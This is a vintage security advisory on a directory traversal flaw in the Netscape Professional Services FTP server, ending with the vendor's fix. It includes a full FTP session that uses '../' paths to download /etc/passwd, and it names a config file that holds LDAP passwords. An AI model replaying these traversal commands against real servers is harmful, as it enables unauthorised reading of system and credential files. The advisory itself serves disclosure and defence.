COMMAND

    ftpd

SYSTEMS AFFECTED

    Netscape FTP Server

PROBLEM

    Michal Zalewski found  following.  Netscape  Professional Services
    FTP  server  is  used  on  high-performance  servers for accessing
    virtual webserver accounts etc.   It works with LDAP and  seems to
    be quite often shipped by Sun with ISP instalations.

    Due to poor  coding, whole virtual  server structure, LDAP  server
    and other parts of system  are exposed to trivial attacks.   There
    are also several overflows:

        $ ftp ftp.XXXX.xxx
        Connected to ftp.XXXX.xxx.
        220-FTP Server - Version 1.36 - (c) 1999 Netscape Professional Services
        220 You will be logged off after 1200 seconds of inactivity.
        Name (ftp.XXXX.xxx:lcamtuf): anonymous
        331 Anonymous user OK, send e-mail address as password.
        Password:
        230 Logged in OK
        Remote system type is UNIX.
        Using binary mode to transfer files.
        ftp> cd ../../../dupa
        550 Can't change directory to
        "/www1/customer/www.XXXX.xxx/a/n/o/n/anonymous/dupa" because No such
        file or directory

        [Well... this won't work... uh, lovely physical path, btw ;]

        ftp> cd /../../../dupa
        550 Can't change directory to
        "/www1/customer/www.XXXX.xxx/a/n/dupa" because No such file or
        directory
        ftp> cd /../../../../dupa
        550 Can't change directory to
        "/www1/customer/www.XXXX.xxx/a/dupa" because
        No such file or directory

        [Erm? Good God!]

        ftp> cd /../../../../../../../../etc/dupa
        550 Can't change directory to "/etc/dupa" because No such file or
        directory
        ftp> cd /../../../../../../../../etc/
        250 CWD command successful.
        ftp> get /../../../../../../../../etc/passwd KUKU
        local: KUKU remote: /../../../../../../../../etc/passwd
        200 PORT successfull, connected to A.B.C.D port 62437
        150-Type of object is "unknown/unknown". Transfer MODE is BINARY.
        150 Opening data connection
        226 File downloaded successfully (602 bytes, 602 bytes xmitted)
        602 bytes received in 1.71 secs (0.34 Kbytes/sec)
        ftp> quit
        221-Goodbye.  You uploaded 0 and downloaded 1 kbytes.
        221 CPU time spent on you: 0.100 seconds.

        $ cat KUKU
        root:x:0:1:Super-User:/:/sbin/sh
        daemon:x:1:1::/:
        bin:x:2:2::/usr/bin:
        sys:x:3:3::/:
        adm:x:4:4:Admin:/var/adm:
        ...

    Consequences:

        - downloading  /  uploading  any  files  to  remote    system,
          regardless of (poorly)  implemented limits, with  ftp daemon
          privledges (you can exploit  eg. /tmp races, download  vital
          files from system or other accounts etc)

        - this ftp server supports LDAP users; different LDAP accounts
          are served on single physical  UID.  It means, any  user can
          access and eventually overwrite files on other accounts;  as
          it's used in cooperation with webserver, usually virutal web
          servers are affected,

        - by accessing eg.
          /../../../../../../../../opt/netscape/ftpd/conf/ftpd.ini,
          you can simply grab LDAP passwords.

    Same applies  to wu-ftpd  6.0.   wu-ftpd on  anonymous account  id
    going    chroot(),    so     you'll    get    fake     /etc/passwd
    (/home/ftp/etc/passwd).  On luser  accounts, by default wu  is NOT
    doing chroot, and  you have access  to whole filesystem  with your
    privledges.   But it's  possible to  chroot() every  user, and  in
    this case it will work properly.  On Netscape FTP there's no  such
    thing as ftp server /etc/passwd, unlike wu-ftpd.



SOLUTION

    According to  Uwe Springmann  the fact  is, there  are versions of
    this software  which have  the posted  problems.   This LDAP-aware
    ftp server never  was an official  Netscape product but  something
    their Professional Service people  used to supply NS's  Enterprise
    Web Server  with upload  functionality (especially  with big ISP's
    and virtual domain hosting).

    Every installation of this software required making adapations and
    changing the code in several ways.  At present NS don't know which
    version at which site might be vulnerable.  They do know that they
    have  installations  in  Germany  which  are  not vulnerable.  The
    problem with the ftp-server has been fixed.  A bugfix is available
    from NS now, a new version will be issued within some weeks.